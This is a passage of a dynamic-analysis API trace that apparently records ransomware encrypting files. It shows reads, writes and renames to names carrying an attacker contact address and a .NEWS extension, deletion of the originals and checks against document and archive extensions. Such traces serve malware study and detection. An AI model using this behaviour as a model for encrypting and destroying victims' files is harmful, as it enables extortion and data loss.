lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[notgoodnews@tutanota.com].news")) returned 1 [0167.072] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0167.076] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fc64 | out: lpNewFilePointer=0x0) returned 1 [0167.079] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fc24 | out: lpNewFilePointer=0x0) returned 1 [0167.079] ReadFile (in: hFile=0x47c, lpBuffer=0x3c6a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x321fc30, lpOverlapped=0x0 | out: lpBuffer=0x3c6a058*, lpNumberOfBytesRead=0x321fc30*=0x40000, lpOverlapped=0x0) returned 1 [0167.084] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x321fc24 | out: lpNewFilePointer=0x0) returned 1 [0167.084] ReadFile (in: hFile=0x47c, lpBuffer=0x3caa058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x321fc30, lpOverlapped=0x0 | out: lpBuffer=0x3caa058*, lpNumberOfBytesRead=0x321fc30*=0x40000, lpOverlapped=0x0) returned 1 [0167.097] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x321fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.097] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x321fc24 | out: lpNewFilePointer=0x0) returned 1 [0167.097] ReadFile (in: hFile=0x47c, lpBuffer=0x3cea058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x321fc30, lpOverlapped=0x0 | out: lpBuffer=0x3cea058*, lpNumberOfBytesRead=0x321fc30*=0x40000, lpOverlapped=0x0) returned 1 [0167.113] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.113] WriteFile (in: hFile=0x47c, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x321fca8, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fca8*=0xc0102, lpOverlapped=0x0) returned 1 [0167.331] SetEndOfFile (hFile=0x47c) returned 1 [0167.331] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x40000) returned 0x4130fa0 [0167.339] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fc74 | out: lpNewFilePointer=0x0) returned 1 [0167.339] WriteFile (in: hFile=0x47c, lpBuffer=0x4130fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x321fc80, lpOverlapped=0x0 | out: lpBuffer=0x4130fa0*, lpNumberOfBytesWritten=0x321fc80*=0x40000, lpOverlapped=0x0) returned 1 [0167.341] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x321fc74 | out: lpNewFilePointer=0x0) returned 1 [0167.341] WriteFile (in: hFile=0x47c, lpBuffer=0x4130fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x321fc80, lpOverlapped=0x0 | out: lpBuffer=0x4130fa0*, lpNumberOfBytesWritten=0x321fc80*=0x40000, lpOverlapped=0x0) returned 1 [0167.347] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x321fc74 | out: lpNewFilePointer=0x0) returned 1 [0167.347] WriteFile (in: hFile=0x47c, lpBuffer=0x4130fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x321fc80, lpOverlapped=0x0 | out: lpBuffer=0x4130fa0*, lpNumberOfBytesWritten=0x321fc80*=0x40000, lpOverlapped=0x0) returned 1 [0167.588] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4130fa0 | out: hHeap=0x420000) returned 1 [0167.592] CloseHandle (hObject=0x47c) returned 1 [0167.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x21) returned 1 [0167.593] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0167.593] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0167.593] lstrlenW (lpString=".doc") returned 4 [0167.593] lstrcmpiW (lpString1=".doc", lpString2=".jsa") returned -1 [0167.593] lstrlenW (lpString=".docx") returned 5 [0167.593] lstrcmpiW (lpString1=".docx", lpString2="s.jsa") returned -1 [0167.593] lstrlenW (lpString=".pdf") returned 4 [0167.593] lstrcmpiW (lpString1=".pdf", lpString2=".jsa") returned 1 [0167.593] lstrlenW (lpString=".xls") returned 4 [0167.593] lstrcmpiW (lpString1=".xls", lpString2=".jsa") returned 1 [0167.593] lstrlenW (lpString=".xlsx") returned 5 [0167.593] lstrcmpiW (lpString1=".xlsx", lpString2="s.jsa") returned -1 [0167.593] lstrlenW (lpString=".ppt") returned 4 [0167.593] lstrcmpiW (lpString1=".ppt", lpString2=".jsa") returned 1 [0167.593] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0167.593] lstrlenW (lpString=".zip") returned 4 [0167.593] lstrcmpiW (lpString1=".zip", lpString2=".jsa") returned 1 [0167.593] lstrlenW (lpString=".rar") returned 4 [0167.593] lstrcmpiW (lpString1=".rar", lpString2=".jsa") returned 1 [0167.593] lstrlenW (lpString=".bz2") returned 4 [0167.593] lstrcmpiW (lpString1=".bz2", lpString2=".jsa") returned -1 [0167.593] lstrlenW (lpString=".7z") returned 3 [0167.594] lstrcmpiW (lpString1=".7z", lpString2="jsa") returned -1 [0167.594] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0167.594] lstrlenW (lpString=".dbf") returned 4 [0167.594] lstrcmpiW (lpString1=".dbf", lpString2=".jsa") returned -1 [0167.594] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0167.594] lstrlenW (lpString=".1cd") returned 4 [0167.594] lstrcmpiW (lpString1=".1cd", lpString2=".jsa") returned -1 [0167.594] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0167.594] lstrlenW (lpString=".jpg") returned 4 [0167.594] lstrcmpiW (lpString1=".jpg", lpString2=".jsa") returned -1 [0167.594] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0167.594] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0167.594] lstrlenW (lpString=".doc") returned 4 [0167.594] lstrcmpiW (lpString1=".doc", lpString2=".jsa") returned -1 [0167.594] lstrlenW (lpString=".docx") returned 5 [0167.594] lstrcmpiW (lpString1=".docx", lpString2="s.jsa") returned -1 [0167.594] lstrlenW (lpString=".pdf") returned 4 [0167.594] lstrcmpiW (lpString1=".pdf", lpString2=".jsa") returned 1 [0167.594] lstrlenW (lpString=".xls") returned 4 [0167.594] lstrcmpiW (lpString1=".xls", lpString2=".jsa") returned 1 [0167.594] lstrlenW (lpString=".xlsx") returned 5 [0167.594] lstrcmpiW (lpString1=".xlsx", lpString2="s.jsa") returned -1 [0167.594] lstrlenW (lpString=".ppt") returned 4 [0167.594] lstrcmpiW (lpString1=".ppt", lpString2=".jsa") returned 1 [0167.594] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0167.594] lstrlenW (lpString=".zip") returned 4 [0167.594] lstrcmpiW (lpString1=".zip", lpString2=".jsa") returned 1 [0167.595] lstrlenW (lpString=".rar") returned 4 [0167.595] lstrcmpiW (lpString1=".rar", lpString2=".jsa") returned 1 [0167.595] lstrlenW (lpString=".bz2") returned 4 [0167.595] lstrcmpiW (lpString1=".bz2", lpString2=".jsa") returned -1 [0167.595] lstrlenW (lpString=".7z") returned 3 [0167.595] lstrcmpiW (lpString1=".7z", lpString2="jsa") returned -1 [0167.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0167.595] lstrlenW (lpString=".dbf") returned 4 [0167.595] lstrcmpiW (lpString1=".dbf", lpString2=".jsa") returned -1 [0167.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0167.595] lstrlenW (lpString=".1cd") returned 4 [0167.595] lstrcmpiW (lpString1=".1cd", lpString2=".jsa") returned -1 [0167.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0167.595] lstrlenW (lpString=".jpg") returned 4 [0167.595] lstrcmpiW (lpString1=".jpg", lpString2=".jsa") returned -1 [0167.595] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0167.595] lstrlenW (lpString="INDST_01.MID") returned 12 [0167.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0167.887] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=8568) returned 1 [0167.887] CloseHandle (hObject=0x474) returned 1 [0167.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid")) returned 0x220 [0168.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0168.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0168.234] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.234] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0168.235] GetLastError () returned 0x0 [0168.235] ReadFile (in: hFile=0x544, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x2178, lpOverlapped=0x0) returned 1 [0168.438] WriteFile (in: hFile=0x53c, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x2180, lpOverlapped=0x0) returned 1 [0168.439] ReadFile (in: hFile=0x544, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.439] WriteFile (in: hFile=0x53c, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.439] SetEndOfFile (hFile=0x53c) returned 1 [0168.440] CloseHandle (hObject=0x53c) returned 1 [0168.440] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.440] SetEndOfFile (hFile=0x544) returned 1 [0168.443] CloseHandle (hObject=0x544) returned 1 [0168.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0168.444] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid")) returned 1 [0168.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0168.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0168.445] lstrlenW (lpString=".doc") returned 4 [0168.445] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0168.445] lstrlenW (lpString=".docx") returned 5 [0168.445] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0168.445] lstrlenW (lpString=".pdf") returned 4 [0168.445] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0168.445] lstrlenW (lpString=".xls") returned 4 [0168.445] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0168.445] lstrlenW (lpString=".xlsx") returned 5 [0168.445] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0168.445] lstrlenW (lpString=".ppt") returned 4 [0168.445] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0168.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0168.446] lstrlenW (lpString=".zip") returned 4 [0168.446] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0168.446] lstrlenW (lpString=".rar") returned 4 [0168.446] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0168.446] lstrlenW (lpString=".bz2") returned 4 [0168.446] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0168.446] lstrlenW (lpString=".7z") returned 3 [0168.446] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0168.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0168.446] lstrlenW (lpString=".dbf") returned 4 [0168.446] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0168.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0168.446] lstrlenW (lpString=".1cd") returned 4 [0168.446] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0168.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0168.446] lstrlenW (lpString=".jpg") returned 4 [0168.446] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0168.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0168.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0168.446] lstrlenW (lpString=".doc") returned 4 [0168.446] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0168.446] lstrlenW (lpString=".docx") returned 5 [0168.446] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0168.446] lstrlenW (lpString=".pdf") returned 4 [0168.446] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0168.446] lstrlenW (lpString=".xls") returned 4 [0168.446] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0168.447] lstrlenW (lpString=".xlsx") returned 5 [0168.447] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0168.447] lstrlenW (lpString=".ppt") returned 4 [0168.447] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0168.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0168.447] lstrlenW (lpString=".zip") returned 4 [0168.447] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0168.447] lstrlenW (lpString=".rar") returned 4 [0168.447] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0168.447] lstrlenW (lpString=".bz2") returned 4 [0168.447] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0168.447] lstrlenW (lpString=".7z") returned 3 [0168.447] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0168.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0168.447] lstrlenW (lpString=".dbf") returned 4 [0168.447] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0168.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0168.447] lstrlenW (lpString=".1cd") returned 4 [0168.447] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0168.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0168.447] lstrlenW (lpString=".jpg") returned 4 [0168.447] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0168.447] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0168.447] lstrlenW (lpString="PARNT_05.MID") returned 12 [0168.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0168.450] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=6020) returned 1 [0168.450] CloseHandle (hObject=0x544) returned 1 [0168.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid")) returned 0x220 [0168.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0168.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0168.451] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.451] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0170.327] GetLastError () returned 0x0 [0170.327] ReadFile (in: hFile=0x544, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x1784, lpOverlapped=0x0) returned 1 [0170.396] WriteFile (in: hFile=0x4f4, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x1790, lpOverlapped=0x0) returned 1 [0170.398] ReadFile (in: hFile=0x544, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.398] WriteFile (in: hFile=0x4f4, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.398] SetEndOfFile (hFile=0x4f4) returned 1 [0170.398] CloseHandle (hObject=0x4f4) returned 1 [0170.398] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.399] SetEndOfFile (hFile=0x544) returned 1 [0170.402] CloseHandle (hObject=0x544) returned 1 [0170.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0170.403] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid")) returned 1 [0170.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0170.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0170.404] lstrlenW (lpString=".doc") returned 4 [0170.404] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0170.404] lstrlenW (lpString=".docx") returned 5 [0170.404] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1 [0170.404] lstrlenW (lpString=".pdf") returned 4 [0170.404] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0170.404] lstrlenW (lpString=".xls") returned 4 [0170.404] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0170.404] lstrlenW (lpString=".xlsx") returned 5 [0170.404] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1 [0170.404] lstrlenW (lpString=".ppt") returned 4 [0170.404] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0170.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0170.404] lstrlenW (lpString=".zip") returned 4 [0170.404] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0170.404] lstrlenW (lpString=".rar") returned 4 [0170.404] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0170.404] lstrlenW (lpString=".bz2") returned 4 [0170.405] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0170.405] lstrlenW (lpString=".7z") returned 3 [0170.405] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0170.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0170.405] lstrlenW (lpString=".dbf") returned 4 [0170.405] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0170.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0170.405] lstrlenW (lpString=".1cd") returned 4 [0170.405] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0170.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0170.405] lstrlenW (lpString=".jpg") returned 4 [0170.405] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0170.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0170.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0170.405] lstrlenW (lpString=".doc") returned 4 [0170.405] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0170.405] lstrlenW (lpString=".docx") returned 5 [0170.405] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1 [0170.405] lstrlenW (lpString=".pdf") returned 4 [0170.405] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0170.405] lstrlenW (lpString=".xls") returned 4 [0170.405] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0170.405] lstrlenW (lpString=".xlsx") returned 5 [0170.405] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1 [0170.405] lstrlenW (lpString=".ppt") returned 4 [0170.405] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0170.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0170.406] lstrlenW (lpString=".zip") returned 4 [0170.406] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0170.406] lstrlenW (lpString=".rar") returned 4 [0170.406] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0170.406] lstrlenW (lpString=".bz2") returned 4 [0170.406] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0170.406] lstrlenW (lpString=".7z") returned 3 [0170.406] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0170.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0170.406] lstrlenW (lpString=".dbf") returned 4 [0170.406] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0170.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0170.406] lstrlenW (lpString=".1cd") returned 4 [0170.406] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0170.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0170.406] lstrlenW (lpString=".jpg") returned 4 [0170.406] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0170.406] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0170.406] lstrlenW (lpString="PARNT_10.MID") returned 12 [0170.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid"), 